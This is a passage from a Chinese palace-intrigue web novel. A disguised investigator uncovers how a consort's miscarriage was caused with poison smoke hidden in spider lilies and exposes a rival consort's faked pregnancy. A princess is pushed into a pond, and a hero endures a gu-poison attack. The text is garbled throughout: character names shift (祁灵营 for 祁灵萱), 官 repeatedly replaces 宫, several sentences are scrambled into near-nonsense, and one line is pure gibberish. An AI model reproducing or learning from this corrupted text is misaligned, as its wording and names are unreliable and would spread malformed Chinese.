月临中天,皇城似巨龙潜渊,隐没于残云之中,万念俱寂,倏然坤宁宫传来一阵惨痛的哀叫,听闻动乱的祁灵营连鞋袜都来不及穿了,胡乱套着绣鞋,带着姜时愿急匆匆赶到坤宁宫。二人还没未进入殿门,只见数个官女神色哀痛地端着盛满血水的金盆接连不断地走了出来,身后无数内侍跪在门庭中痛哭不止。殿门之后,传来的是明贵妃撕心裂肺的哭声,还有御医们慌乱地吩咐抓药的指令。祁灵萱半张脸笼在黑暗之中,抓住一个官女,看着金盆里深红色的血水,泪水已经涕下:“你告诉本官,这是什么?哪里来的血?"小官女连忙跪下:“奴婢也不知道.娘娘忽然传人,说腹痛不止,然后奴婢就看见娘娘两,腿之间的亵衣上渗出了大片的血来,连同褥子都殷出大片的红色。“公主殿下饶命,公主殿下饶命.…奴婢真的不知娘娘为何会忽然无缘无故地小产.……" 于此同时,殿中痛彻心扉的哭喊瞬止,御医急匆匆跑出殿下,向永安公主回禀情况:“殿下臣暂时保住了娘娘的性命,只是…腹中龙子,臣真的无能为力。祁灵萱在周遭的混乱之中怔怔地转过身来,捂着胸口,眼睛疼得连每落一颗泪都仿佛是在泣血.两人相机片刻之后,姜时愿展开双警,接住了即将破碎在此的祁灵营,感同身受她此刻的悲伤,轻轻安抚着:“我知道殿下难受.要不殿下先回公主殿吧,这里有奴婢守着,奴婢会帮你照看贵妃娘娘的。"姜时愿肩上的衣衫被祁灵萱的泪浸湿大片,而却抱得祁灵越发用力。 沉默片刻,她继续说到:“如奴建曾去医阁看过两位娘娘的脉案,展妃身子属弱,有体虚之状,故而胎像不稳,而贵好娘娘的胎像一向稳固,月已经怀胎三月,早已该安稳下来,如今。毫无征水小产,怕是 祁灵萱哽咽着眼泪:“你怕是有人故意为之?" 姜时愿微微领首,祁灵萱抬起眼眸,泪意含在眼角,静静住姜时愿的胳膊,朱唇气得发抖。 “查,查,一定要给本宫查出来究竟是谁动的手脚,本宫绝不会放过她! 祁灵萱气得额头抽痛,情绪不稳,姜时愿怕她再出意外,遣人将她送回公主殿,自己则留在坤宁官调查, 姜村愿店一迈进殿内,哪怕拔步床边的金媒香炉还有正厅中的博山中又被言女多惨了几勺莲看冷盖血味,可这又腥又冰体牌味还是丝经缕缕发散出来,提示着融中众人明版力才流了多少血,换了多少次的水,垫在身下的海子又漫了多少 次 佛龛之上的送子观音像被烛火寸寸摇亮。 姜时愿看着榻上面色惨白、仍昏睡不醒的明嫩,低垂下眉眼,神色带着不忍,缓缓合拢飘摇不定的薄纱。 她收敛心情,肌刻调整状态,看着仍小中新颤、不知所猎的官女和内传,以几平严厉的口吻命令常待奉在明织身旁的被塘去小厨房端来今夜贵好用过的残董刺菜,又命官女带她去看贵妇时常宗氰明中首饰,服饰,冠梳等。 而姜时愿则再次来到妆奁前细细检査每一盒贵妃曾用过的香粉,甚至还蹲下来打开香炉鼎,用指尖沾上一点灰烬,放在鼻下轻嗅 嬷嬷不解她的举动,上前问道:“蓝月你这是何意,为何过眼饭菜、首饰、衣衫、梳妆的脂粉,甚至还有燃烧完的灰烬。" 在她看来,“蓝月’的举止愈发怪异,倒是有些陌生了。 姜时愿垂眸遮住眼中的不耐,简单解释到:“饭菜可能会被有心之人下些孕者不宜食用的寒凉活血之物,此为食害。 “而脂粉也可被混入天花粉等,若贵妃长期以此胭脂粉黛修容,则也会导致胎滑。 “还有衣衫、首饰、还有灰烬,如果此类含有香,娘娘腹中的龙子都将不保。 嬷嬷闻言大骇:“蓝月你眼下可曾查到了什么?这些用物是否被人做了手脚。 “没有。”姜时愿轻言,慢慢拾眼,“奴婢记得在我与公主离开坤宁官之前,贵妃娘娘曾服用过一碗安胎药,安胎药是谁熬的?" “还有,可曾留下药渣?" “是老奴熬的。”嬷嬷气息愈发急躁。 安胎药之中最会被人手脚,然而药渣没有问题,所以有可能是. 汤药熬成后再送到明贵妃面前这个过程中,也许被人动了手脚。 “嬷嬷,端药经过几人之手?"“老奴也极为担心后宫尔虞我诈之事,故而也处处小心,抓药、熬药、端药只经过老奴一人之手。“你如何自证?"“若你觉得是老奴害了贵妃,老奴告诉你绝无这种可能!"嬷嬷看着姜时愿审视的眼神,激起心火,紧紧捂着胸口,上气不接下气.这时姜时愿发现嬷嬷右手五指甲床平整光洁,均留着整齐的月牙,看起来平时应是用丹藏水精心养护的。只不过,她食指的指甲不知为何撕裂开来,新鲜的血痂还残留在上。姜时愿刚想发问,官女就朝着姜时愿发誓哭诉,“蓝月姑姑,莫在难为嬷嬷,嬤嬷对贵妃娘娘的忠心奴婢们都看在眼中。奴婢以性命发誓,嬷嬷绝不可能害娘娘。"说罢,身后众人也纷纷伏跪下来,也一律担保嬷嬷的忠心。嬷嬷软在地上,看着姜时愿的眼神略略发狠:“人在做,神佛在看。老奴敢以性命起誓,从不会背叛贵妃娘娘。如此自证,蓝月你可以信了吧。”姜时愿不禁怀疑自己,她搜查完整个坤宁官均无所获,会不会是她怀疑错了难不成是明贵妃当真与这个胎儿没有缘分,她抬睇着捻着莲花的送子观音陷入沉思.半柱香后,姜时愿有点浑浑噩噩地离开坤宁官,四肢麻木。忽然此时。有位内侍匆匆端着花瓶也从殿内而出,恰好脚膝一软,不小心碰到了姜时愿,连忙将蓝底花瓶放在冷石砖上,跪地磕头:“奴婢该死,冒犯蓝月姑姑了,请姑姑恕罪。姜时愿刚想说无事,忽然余光一瞥。月色清凉,无数花朵在瓶中开得正艳,花纤细外翻,而花蕊满天纷飞。在凄寒夜色中绽放出惊心动魄的绯红。 红如丹霞,浓烈决绝。 更确切的描述是,是如鲜血一般的红。 姜时愿的怔在原地,微微蹙着眉头。 蓝底花瓶,她曾见过这个花瓶。可是如果她没记错的话,两个时辰前这些叫不出名字的花分明还是含苞欲放的,而如今却花开了内侍仍在颤抖着,等着姜时愿的开恩,而却听见她开口却是问的:“为什么要扔这瓶花?"“嬷嬷说这花颜色太红了,犹如血色,怕贵妃娘娘醒来之后触景伤怀,所以喊奴婢抓紧扔掉。姜时愿转身回望殿内,问道:“昨夜是哪个内传值夜守在殿外?"“正是奴婢。”内侍仰起头来。 姜时愿又问:“可有异常?“她又提醒道,“哪怕一点点细微的不同,也要跟我说出来。内侍仔细回想,后答:“如若说不同的话,奴想起来一事,今夜香炉里燃烧的香料的量是不是过多了?""为何这么说?" 内侍纤细解释,今夜轮到他上值,他敲了几声竹绑子又照常搬来棉絮垫在身下,依靠着殿门。因为才至子时,还不到困意正浓之时,所以他只好拾头仰望难得一见的满月。骤然,内侍感觉到自己衣袍有风吹拂,而后慢慢地衣衫还染上水汽。结果,他低头一看,却发现是丝丝缕缕的白雾从殿门中散发出来。仔细一瞧,这白雾中还掺着点淡紫色。贵妃娘娘平日就爱点香,所以内侍当时也没想太多,只念叨娘娘今夜是否点得过多。然后自己也跟着在不知不觉中睡了过去“奴婢该死,奴婢该死,奴婢也不知道为什么,以前子时都不困的,今夜咋出了奇地睡了过去“没准你不是睡过去了,而是晕过去了.”姜时愿单跪下去,摸着内侍的脉搏,果不其然,有着略微中毒的迹象,脉象虚浮无力。想来,内侍不小心撞到自己,也是因此原因。白雾,烟中带紫,令人四肢麻木甚至昏厥,内侍所描述的一切如万寿宴上的情景有着异曲同工之妙。这乃烟毒,并非白雾。魅,又动手了。 十万火急,姜时愿衔过瓶中的一枝花,领了永安公主的特赦,匆忙出宫,赶往典狱。 典狱潜伏在散不开的浓黑之中。 参天古树,枝叶抱合,连绵成一片。风声愈发尖,簌簌声响伴着青下泠泠不断的铃声在此刻激荡。 白无常裹着外衫,见到来人雪衣墨发,满目疏冷,衣袍猎猎,满身凛冽气息- 只争拖的红花递在白无常的眼下,来人的口吻不容置疑:“这花是不是就是你口中的曼珠沙华,也就是彼岸花? 白无常一惊,喜上眉梢:“是是是.你在哪里得到的?” “沈司使,你怎么了?"忽然白无常脸色一变,看着沈浔毫无征兆地倒在还未消融的冰雪之中。沈浔面色极为痛苦,眼睫微湿,薄唇颤抖,却无法说出只言片语。沈浔的周身犹如无数蝼蚁钻入皮囊啃食血肉,同时刀伤割肉、锤子凿骨,银针刺痛的疼痛一应袭来,叫他一时分辨不出哪种更痛此外,他更能察觉体内仿佛有滚烫的铅水倾倒下来,灌讲他的四肢百骸,烈火灼烧着四肢,但更为可怕他的是,他仍觉得冷。他如临深渊,被万般苦难折磨着,生死之间,仅有一线之隔.渐渐的,冷白的皮肤之下脉络竟由青色转为烟紫。白无常见之神情忽变,看着那些烟紫如同霉气一般瞬间沿沈浔的全身散开,就连他脖颈上的筋脉都清晰可见,颈脉愈发扩张,仿佛随时要爆体而出。脉络烟紫,是蛊毒发作的迹象。 “完了,完了。”白无常已经来不及多思考,直接唤他原本的名字:“魑,老夫忘了今天是难得一见的满月之日,满月正是你体内的蛊毒发作之时!白无常努力想扶起沈浔,可沈浔就如千斤秤砣一般,怎么都拉拽不动。白无常急得汗珠如豆子般砸下来:“老夫早就说过,血滴蛊就如同天罚,会让人五官丧失,四肢糜烂.….甚至再度失去记忆.…"“你必须找到母蛊,找到母蛊,才能解蛊!"“不能再拖了,赶紧找到母蛊,也能恢复记忆!" “魑,魑…你感觉怎么样.…." 白无常忽然双眸睁大,看着沈浔的眼角沁出两道血痕来, “别啊别啊…”白无常慌乱极了,连忙想扶着沈浔转移到榻上施针,奈何他扶不动。 若是再有一个人帮忙的话,没准 利说心,"机一”"京外别准酬当片正术 “别别”沈浔气若游丝,压抑着剧痛,嗓音沙哑地、仓惶地,“别让阿愿看到到绝不能让阿愿看到她会猜到的 “都这个时候了!保命要紧,你还在想这些做什么!”白无常大吼,当真觉得沈浔疯了。沈浔抬眸,双眸殷红,一滴血泪划过他如玉的脸庞。此刻他的话语间再无狠戾,白无常也没有想到眼前这个冷情狠之人,也会如此卑微地求他“求你,把我藏起来。 100、100(掉马倒计时) “深更半夜,姜司使怎么忽然问到典狱了?难不成是宫中出了什么事情? 白无常吞了吞口水,见姜时愿即将迈入融雪阁拦在她的身前,紧张到一滴冷汗落下,姜时愿办察觉到白无常的神色不自然,冷眼一觑,推开他的手,只身走入融雪阁。院内风雪无痕,庭中参天古树覆上一层冰雪,亭亭如盖,遮蔽凄美的月华。寂寥无声,并无异常,唯有听见风吹树梢还有青铜铃相撞之声。姜时愿转过身来,看着白无常,发问道:“既没有异常,那你在紧张什么?难不成你有事瞒我?"白无常擦擦额肩的汗珠,自然是嘴硬到没有,连忙领姜时原前往阁中落座,谁料姜时原执意坐在古树之下的石桌,容音袅裳:“进屋就不必了,我今日特意来此,是有要事想要问你,刻不容缓。白无常眼角沟壑愈发挤压得深邃,眼神越过姜时愿落在古树之后。他知道沈浔的身影藏在树后正在遭受蛊毒的侵蚀,他必须赶快打发走姜时愿,给沈浔施针、汤药压制蛊毒。但他不能理解的是,一个活人遭受宛如万骨哨食,万箭穿心,五脏六腑被斯裂的剧痛,沈得是如何能这般残忍地对待自己,竟将每次呼吸都压抑到极致,同时将所有痛楚生生咽下。从而留给姜时愿的只有四周无声的寂静。破碎,沉重,而又隐忍。“你在听我讲吗,白无常。”姜时愿察觉到白无常的心不在焉,语气稍严厉,同沈浔一样拿出一朵曼珠沙华,询问白无常:“这是否就是你曾经所说过的彼岸花?“是是是,此花就是彼岸花,亦是制作烟毒最为重要的一味原料。”白无常又问道:“姜司使又是从何处得来?"“明贵妃的宫殿。”姜时愿说罢,又将今夜贵妃滑胎一事和自己的怀疑俱讲给白无常。听后,白无常倏然激动:“这么说,魅又动手了?照姜司使的分析,魅是以烟毒害得明贵妃的腹中子不保。"虽然姜时愿也认同白无常的推断,但听守夜的内侍所言,紫色的烟要也就是烟毒,是从殿内散发出来,说明当时就在殿内释放烟毒与以此杀害明贵好腹中之子。但她想不通,魅是如何绕开禁军的包夹,潜入明贵妃的殿中 “万寿宴之后,皇城中禁军加强戒严,魅应当没有办法再度潜入宫殿动子,会不会是因为魅本就是明贵妃宫中之人?"姜时愿刚起怀疑,又立马心里否定,她曾仔细搜过明贵妃的宫中,并无发现异常,更别说是烟毒了。不,或许是那时,魅已经听闻风声,将剩余的抓紧时间炼制成烟毒,因此才躲避了搜宫。可烟毒乃是雾状,极难保存,魅又能将其保存到哪里呢?倏然姜时愿双眸如秋水盈盈,眼波流转,落在手中的曼珠沙华上,纤长如蝶翼的眉毛轻轻一颤她于亥时初见时,此曼珠沙华含苞待放,而如今夜半之时,花开正茂…“你可曾了解此花的习性?你可知曼珠沙华何时会开花?”姜时愿的神情叫人捉摸不透.白无常答道:“此花习阴,性寒凉,唯有月满之夜才会开花。”月满之夜,不就是今夜?她总觉得隐隐不对,先是尚官局一改惯例改供曼珠沙华献给明贵妃,再是献花的内传她总觉得有几分面熟,而今夜是近三月难得的月满之夜,也正是曼珠沙华的开花之时。如此诸多的巧合凑在一起…巧5的就像一场精心策划的谋算。姜时愿低眉敛目,唇角微抿,倏然一阵酥麻漫至四肢百骸,一个疯狂的念头在她脑海中初见雏形,她忙不迭地问道:“魅可有将烟毒藏于未开之花的法子?"“你是说魅将烟毒藏于花中?”白无常倏然双眸圆瞪,暗暗咬牙,如若是魅的话却有可能姜时愿推测道:“魅将烟毒藏于花朵之中,然后派内侍以尚官局的名号送入明贵妃的殿中,等到半夜之时,曼珠沙华悄然绽放,烟毒自会散出!…“如此,魅便不用潜入明贵妃的坤宁宫,亦可轻松完成刺杀。这样一来,倒是明贵妃宫外之人,显得更加可疑说罢,姜时愿一怔,那位垂首献给明贵妃曼珠沙华的内侍面容在她脑海中愈发清晰难怪,她会觉得熟稔,此人她和沈浔都见过想通一切的姜时愿披上大氅,没有任何犹豫地离开融雪阁。姜时愿前脚刚离开融雪阁,白无常急忙去古树后查看沈浔的情况。月华如水,穿透茂密的落叶和枯枝,在沈浔冷白如玉的脸庞上留下斑驳的树影。他依着古树而靠,双眸紧阖,冷汗层层浸湿亵衣、衣襟、甚至大氅,几欲濒死,而他垂在膝上的手,腕骨处有了一道深可见骨的咬痕。血肉模糊,鲜血顺着修长的指缝而落,滴在他咬下的碎肉之上白无常也终于知晓,为何自己和姜时愿未曾听过一丝呻吟他连忙蹲下查看沈浔的状况,沈浔周身的脉络已由青紫染上深黑,蛊毒已经涌上心脉。倏然沈浔睁开双眸,眼神凛冽,一把揪过白无常的衣襟,他的气息微弱,所以,只有此法才能逼得白无常侧耳倾听:“想办法医好我,我要进官.”“你疯了,你都这个样子如何能进宫!"沈浔的答案几近破碎,“我必须进宫我在等一个答案如果我所想没错,魅就是她 夜凉如水。姜时愿查到线索带着陆不语赶赴宫中。皇城已经下钥戒严。姜时愿出入皇城已是永安公主的特救,所以,眼下,禁军御统李斯一脸严肃,看着“蓝月’竟然领着典狱四处的陆不语急欲进官宫规森严,怎么由得他们胡闹,李斯以礼制压着,不肯放人。姜时愿自知此举不通,无奈撕下人皮,厉声道:“李斯,你瞧好了我并不是蓝月,而是典狱一处的掌权者,亦是奉太子殿下之令彻査万寿宴一案的姜时愿。“事急从权,案件迫在眉睫,官规无用。”姜时愿冷眼扫下,举着太子祁钰亲授的玉简交于李斯,李斯单跪在官门之前,尊敬接过。“是,臣一定鼎力协助姜司使。过了官门,姜时愿欲先去公主殿找到祁灵萱,没想到来晚一步,官女告诉姜时愿永安公主不知怎的非要去瞧明贵妃一眼,如今朝着坤宁官去了.陆不语挑了挑眉,“那看来只有我们独自去前往琼华宫了。“那便去。”姜时愿并肩站在陆不语的身边,冷冷发声。镀金的香炉,青烟寥寥,燃着丹蔻红甲的素于撩拨着香雾,辰妃望穿支摘窗外的廊庑连绵不断地燃起灯火,看来今夜注定难眠.个时辰前,坤宁宫的动静,后宫众人都听见了,也包括她。思及此,辰妃的唇角微勾,摸着白己的小腹,神色却掺着几分破碎,忽然殿门被人推开,宫女慌张的声音传入她的耳朵:“两位典狱的大人,娘娘已经歇息了,你们不能进啊”陆不语的声音冷峻:“圣人曾亲授魏国公特权,典狱査案,哪怕是皇亲国威,也无人能阻。这岂是你一个宫女能阻拦的,还不退下?"宫女显然是怕了,连忙掩门而出,独留辰妃一人留在殿中。辰妃神色微怔,看着姜时愿和陆不语踏着牡丹争艳的地毯步步逼近她.她看得出来人对她毫无恭敬,竟然连行礼问安也没有。辰妃怔怔看着姜时愿径直站在她的眼前,口吻生冷。“陛下身体欠安,如今太子殿下暂代国政,而臣姜时愿奉太子殿下之命彻查万寿宴一案,还请娘娘配合。”姜时愿道辰妃绕着手中的淡紫色披帛,微微依靠在贵妃榻上,神色倦怠:“本宫早就听说姜氏之女如今执掌典狱一处,还以为是什么有才干聪敏之人,没想到如此愚钝。“竟然怀疑是本宫动手刺杀陛下?”辰妃发笑,满是嘲意,姜时愿并未被激恼,搬来圆凳,坐于其上,平视辰妃,淡淡开口:“先不聊万寿宴,臣与娘娘先聊聊今晚的案子。"“明贵妃小产之事。"“难道不是她福薄,与这孩子无缘,怎的,后宫之事也配惊动典狱?"“臣怀疑,明贵妃小产一事,是有人特意为之。”“噢?”辰妃手指不停地绕着披帛,松了绕,绕了松,反反复复。姜时愿微微一笑,和陆不语对视一眼,陆不语心领其意,说着冒昧,动作却十分粗鲁地扼住辰妃的腕骨。辰妃大惊,“你们要干什么?放开本宫,你们尔敢,本宫乃是陛下的女人,你们如此冒犯本宫,就不怕陛下怪罪吗?"“冒犯?臣是冒犯,但还请娘娘先担心自己,欺君罔上的罪责娘娘怕是更承担不起吧。”姜时愿话间不急不慢,却每词每句都在牵动着辰妃的心“你这是什么意思?"辰妃神色瞬变,看见姜时愿的手指搭在她的腕上,她已经来不及细想姜时愿究竟会不会医术,慌乱地想要挣脱陆不语的桎梏,奈何女子的力气终究抵不过男子的,她只能眼睁睁看着姜时愿为她把脉。“娘娘,您并无喜脉,这不就是犯了欺君之罪吗?”姜时愿的语调不急不慢,话中字字诛心。"当然臣一人之言,并不可信,不如臣禀明太子殿下,让太子殿下再派些医官替娘娘诊脉,当然臣也会细细审问负责娘娘脉案的江医官。陆不语这才松了力道,辰妃蓦地抽回腕骨,收回手,紧紧搂着双臂,整个人呈现一种兽类防御天敌的状态,又惊又惧“你是如何发现的?”辰妃问。“初见之时,臣便开始怀疑了。”姜时愿说道,闻言辰妃怒斥她说谎,“胡说,今夜分明是你与本宫的初见。是不是本官身边出了卖主求荣的贱人,本宫定不会放过她!"错了。”姜时愿不想牵连无辜之人,轻轻摇头,接着缓缓从袖间掏出“蓝月”的人皮,覆在脸上,辰妃见之双眸瞪大。“臣以蓝月的身份进入皇城,又承永安公主的旨意搜查后宫。“娘娘忘了,臣曾彻彻底底搜过琼华官,也曾搜查过娘娘的周身。“那时臣还未碰到娘娘的小腹时,娘娘便似警觉,神色骤变,紧接着臣又在娘娘的身上闻到了麝香的味道。“怀孕之人是绝不能用麝香的,可臣又确确实实从娘娘身上闻到过麝香的味道,这不就说明娘娘接触过麝香陆不语双手环胸:“后宫女子争宠,最以子嗣为重,娘娘身怀六甲怎可能不顾自己腹中的龙子去碰麝香?"“除非娘娘根本没有怀孕,或者是腹中之子已经不在。”姜时愿补充道,“臣相信娘娘绝不会无辜编造怀孕欺瞒陛下,臣相信娘娘确有怀孕,只不过与腹中子缘分浅薄.…,娘娘未能留住”姜时愿曾看过脉案,辰妃一月余时,便已经胎象不稳,想来也应是那时不甚小产。只不过辰妃不肯放弃靠怀孕而得来的妃位和圣人的宠爱,因此继续瞒了下去。话落,辰妃双眸殷红,泪意先下,手缓缓抹上腹部。陆不语毫无怜悯,接着推测到:“所以娘娘自己的孩子没了,而明贵妃即受宠爱目腹中龙子又安然无恙,所以娘娘心生嫉妒,遂打算让明贵妃也尝尝小产的滋味。“好大的指控.本宫可担待不起。”辰妃大呵。“是她和本宫一样缘浅,不关本宫的事!她仗着陛下的宠爱,仅入宫两年便升为贵妃。“可又能如何,她不也保不住孩子吗?”辰妃歇斯底里。姜时愿看着面容姣好的辰妃,因为妒忌,露出森严的獠牙,展露凶恶,不禁唏嘘,问道:“陛下的宠爱当真如此重要吗,竟害得娘娘失去本心?"“你懂什么?你又不曾活在后宫!"辰妃倏然靠近姜时愿,眼中怒火骤起,如刀锋凌厉,“你又不需要争风吃醋,亦不需要和别的女子分享同一个夫君的喜爱!“你凭什么攀咬本宫?这一个个凄冷的夜,你知道我是如何过来的吗吗"“臣不想知道,杀人偿命,如果娘娘真的伤害了明贵妃的孩子,臣根据大庆铁律,秉公办理!"姜时愿神色淡然。“没有!”辰妃的指甲深深嵌入掌心。“好。”只听冰冷的字堵在辰妃的胸口。姜时愿转头吩咐陆不语,半灶香的时间后,陆不语带着一位内侍还有一位宫女来到辰妃的眼前。官女和内侍全身颤抖不止,看着姜时愿绕着她徐徐信步,听她柔声发问:“你们一个在辰妃的官中做事,另一个又在明贵妃的手下当内侍。姜时愿微微福身,在二人中间轻语:“我查过你们,你们青梅竹马、两情相悦,奈何官规森严,内侍和宫女之间对食的事若是传扬出去,你们二人必将性命不保。"“姜司使你当真是狄公在世,你是如何知晓察觉这二人之间的私密情意?”陆不语惊叹道,姜时愿微微一怔,随后酡红慢慢染上双颊。察觉此事的苗头羞于说出口,她总不能说自己也是和沈浔私会之时,曾无意间撞破此二人藏于林中正在酣畅淋漓、翻云覆雨吧也因如此,她才总是觉得献花的内侍莫名眼熟。她慌乱地转身,看向辰妃:“所以娘娘以此事恩威并施,挟令内侍为你做事。内侍听从于你,将曼珠沙华放于明贵妃的官中。姜时愿断案如神,竟然一五一十都分析了出来,内侍自知不保,立马磕头求姜时愿开恩:“求姜司使放奴才一条生路,奴才也是一时鬼迷心窍,害了明贵妃“娘娘还有何话可说?”陆不语冷冷问道自知结局已定,辰妃紧咬贝齿,无话可说。“好,看来娘娘承认了谋害贵妃之事,那万寿宴一案娘娘是否也认?你就是魅,对不对?"见辰妃穷途末路,陆不语步步急逼“你在说什么?本宫谋杀陛下?"辰妃错愕不已,“本官为何要谋杀陛下,本宫厌恶的仅是独承雨露的明贵妃一人!"“你胡说,烟毒乃是魅的杀人绝技。你若不是魅,是如何将烟毒藏于曼珠沙华中,又如何知晓曼珠沙华会在夜半绽放?"“你到底在说什么”辰妃听之紧蹙眉头,“本宫从不会什么烟毒''不是你将烟毒藏于曼珠沙珠的嘛?”姜时愿问道。辰妃错愕,怔怔回答:“没有烟毒,从没有烟毒!本宫藏在曼珠沙珠中的仅是香!“那你是如何得知,曼珠沙华会在夜半开花的?" “本宫曾在藏书阁中看到一卷秘法残页,置于案几上,故而知道曼珠沙华的习性,遂想到此法.….所以,姜司使才能在本宫身上闻到麝香,不是吗?” 姜时愿闻言,瞳孔骤然紧缩,如若真如辰妃所说的话,必是魅有意布局,操控辰妃的妒忌心刻意引导辰妃谋害明贵妃的孩子。 这样既可以栽赃嫁祸,又可隐藏身份。 而她姜时愿,也被魅,无形操控 另一头,坤宁宫中。 嬷嬷看见祁灵萱略感诧异,问道:“公主殿下怎么来了?“祁灵萱:“本宫仍放心不下贵妃娘娘,所以来看一眼。”“殿下当真是有心了。”嬷嬷心疼地为祁灵营抖下衣袍落雪,祁灵营软睫微颤,说道:“嬷嬷先下去吧,本宫想单独和贵妃娘娘说几句话.…“是。殿内被人轻轻阖上,祁灵萱慢慢走到拔步床前,她心里交代着沈司使的事情,忐忑难安。一炷香前,沈浔找到她,以典狱之名,要求她去查证一件事情。她不知此举的用意,只知沈浔神色狠厉,刻不容缓,心念此事应当极为重要。 祁灵萱心跳如鼓,撩开轻纱。 她听见明嫩唇线紧抿,极难压抑着哽咽:“我终于可以救你了这么多年了,我终于可以救你了我们终于快摆脱桎梏了” 低低的抽噎从唇缝之间溢出,还有那一身满含爱意、极尽轻微,又不敢宣出口的“阿循” 阿循。 祁灵萱双肩颤抖,她从明贵妃的口中听到并不是父皇的名字.而是另一个陌生男子的名字她蜷缩着脚趾,回眸看向无数明嫩所画的丹墨,想到阿愿问她“为什么明贵妃画中的男子都没有五官呢?’,那时她笑着回答阿愿是因为明嫩无法描摹父皇的英姿.如今,她看着一幅幅悬于壁上,笔墨之间皆充满爱意和相思的画作,五味杂陈.祁灵萱能想到在无数个寂寥的深夜,她被困在这里,一遍遍描摹着心上之人。那种不敢被任何人知晓、隐秘的爱意明嫩的爱意不像自己,热烈,坦诚。明嫩的爱意,隐忍、沉重,不被任何人理解,背负而行。她又看见榻上之人软睫轻颤,指甲泛白,紧紧攥住衣袖,祁灵萱心生怪异,费了很大的力气,才掰开明嫩的五指。祁灵萱这才发现,她要守护之物,不肯放手的原因.乃是自己曾画过的一张小像祁灵营头皮发麻,连同指尖都在微微颤抖,她忽然觉得自己从未走近过明她又回想起沈浔所言眼前的一切令她深受震撼,她虽不懂沈浔交代她的话有何用意,但已觉得自己有着非完成不可的理由,好似,唯有揭开这层纱,一切困于迷雾之中的人才能走出来。祁灵萱压抑着每寸呼吸缓缓将明嫩的衣襟褪了三寸,露出冷白如玉的肩头如沈浔所说。一朵浓烈且妖冶的曼珠沙华绣在明嫩的左肩。 101、101(恢复记忆倒计时一) 祁灵萱心跳笃笃,莫名不安,金纹莲花样妆奁上的铜镜倒映出合惶逃出殿外的身影 她步履凌乱,险些和嬷嬷撞个照面,嬷见祁灵萱面色苍白神色不安,忙不迭地问道:“公主殿下怎的慌慌张张的,可是娘娘出了什么事情?"祁灵营声音颤颤的,说着没事,慌乱,离开,嬷嬷微微眯眼,心觉不对,返回殿中,却发现明嫩的衣襟略显凌乱,系带、襟带半开,素白的亵衣之下曼珠沙华露出几卷细长的花游。明嫩的衣衫显然是被拉扯过而明嫩也恰巧在此时清醒过来,睁开凤眸,亦察觉不对,觉得自己的掌心空落,小像已然不见了她骤得慌了,声音急促:“有谁来过?"“是永安公主,她神色匆匆,方才刚走。”嬷嬷脸色骤变, 喃喃道:“主子,可是有事?明嫩眉目如霜,声音清清冷冷,“怎么办,她看到了些本不该她知晓的”嬷嬷大骇。从坤宁宫返回到公主殿之间最快的路径便是越过明翠阁,伴关蕖潭边的小道而行。祁令萱的心中志忑难安,不停地思索沈得为何让她查证明贵妃的肩后是否绣有一朵曼珠沙华?沈得又是如何得知如此私密难言之事?还有,明贵妃所爱之人究竟是谁,她又有多少事情瞒着自己?为求解答,她只能尽快返回公主殿,遂只能择小径而行。寂寂冷辉,已至夜半,寂寥无人,唯有叶落萧萧之声。祁灵萱指尖紧攥,掌心被掐得泛红,不知怎的,她思绪纷乱,亦觉得有些恐惧,她边走边回头,总觉得寒意渗人,好似藏于林中的凶兽在悄无声息地逼近她,风声欲啸,枯叶卷落在她的脚旁,莎莎作响,似有轻微的脚步声临近。祁灵萱呼吸一室,骤然转身却见身后空无一人。好在仅是自己的大惊小怪,祁灵营方叹了一口气,怔怔转身,倏然一个略显臃肿的黑影直接掠到她的身前,推她入水突变来得太快,祁灵萱毫无反应,斜倾入池。潭水似火树银花般爆开,水滴四溅,当寒冷彻骨的潭水淹没祁灵萱的周身时,她才看清看着岸上身着黑袍之人面容狰狞狠厉,嘴角噙着一抹森然的微笑,宛如修罗黑袍者在岸上无情地看她沉入潭底,听着她的挣扎求救,了无动容,更甚快意这场蓄谋已久的居杀潭水寒流无情地灌涌入祁灵营的口咽,胸腔亦被千斤巨石压抑,她被潭水裹挟包围,无力挣扎,唯有感受着窒息一点点掠夺她的生命,意识愈发胧。 就在此时。“殿下!”一道清婉的声音传入祁灵营即将消失的听觉中,随之又是一道金石相击的落水声,祁灵萱觉得寂静的水流骤然潺潺流动,好似是有人划过凄冷的潭水,唤着她的名字,奋不顾身朝她游来,不顾一切要带她上岸黑袍者眼见好事被姜时愿破坏,五指间四道暗镖分别对准阿愿的四肢,倏然狂风大作,锋芒尽露,凌冽逼人,竟难以抵挡,黑袍被吹得节节败退,浑身如无数铁链束缚.不对,无风而起,这是剑气!不等黑袍沉思,又见四处的陆不语朝她的方向追来,无奈之下,只得收手逃命风声将歇,尘埃落定,叶落无声。姜时愿冰凉的手覆上祁灵萱的脸,墨发上的水珠滴滴坠落在祁灵萱的脸颊上,晕出淡淡水圈:“殿下殿下你怎么样?"满是她焦急惊心的声音,还似掺杂着鸣咽、哭意祁灵萱似有所感,软睫微颤,迷迷糊糊地睁开双眸。映入她眼中的女子,神色焦急,紧蹙的黛眉,清丽精致的五官被浸了一层水色,更称得上欺霜赛雪,真如一珠裏上霜冻的幽兰,生于空谷,洁白无瑕。“姜司使,你真美.”祁灵萱气若游丝,尽管自身难保,却鬼使神差说出此句。可惜,死后复生,却仍是半只脚迈入鬼门。浓郁的困意袭来,祁灵萱愈发倦怠,看着阿愿的身影越发朦胧,她只能虚弱地交代到最后一句。“烦请姜司使转告沈司使,本宫看到了贵妃娘娘的身上确实刺有满曼珠沙华。”姜时愿眼见着祁灵萱昏沉过去,双眸殷红:“殿下殿下“”祁灵营被人推入水中,九死一生,如今办略入昏睡,姜时愿守在福旁寸步不离,仔细照料。半香之后,陆不语那传来消息欲谋杀祁灵首的黑袍蒙面者已经被抓获,现已被关押入地车,等着她发落.一夜之间,惊涛骇浪。先是明贵妃小产,辰妃认罪,紧接着是永安公主遇刺。变故太多,同时也将她心中诸多的疑点犹如碎玉般串联成了线,一切都指向一个怪诞又大胆的猜想.她离真相仅有一步之遥,可事到如今,她却五味杂陈,神色麻木姜时愿将祁灵萱托给医官和内侍照看,只身前往地牢,地牢深,烛光哀败的影子渡在逼仄幽暗的空间内,无端给人一种窒息感地牢中,陆不语和李斯已经等待多时,姜时愿来到二人身旁,看见黑袍者被绑在木枷之上,双手双脚被铁链束缚,问向陆不语二人:“怎么抓获此人的?"李斯供手答道:“臣听闻明贵妃小产,立马命令全宫戒严,下官巡查至明翠阁周围正巧听闻异动匆忙赶往芙蕖潭,恰逢遇到陆处正在追击逃犯。下官与四处前后夹击,才能擒着此贼。姜时愿了然,走到黑袍者面前,一把掀去她的伪装,半缕苍白的发散开,倾斜而下。李斯和陆不语皆为震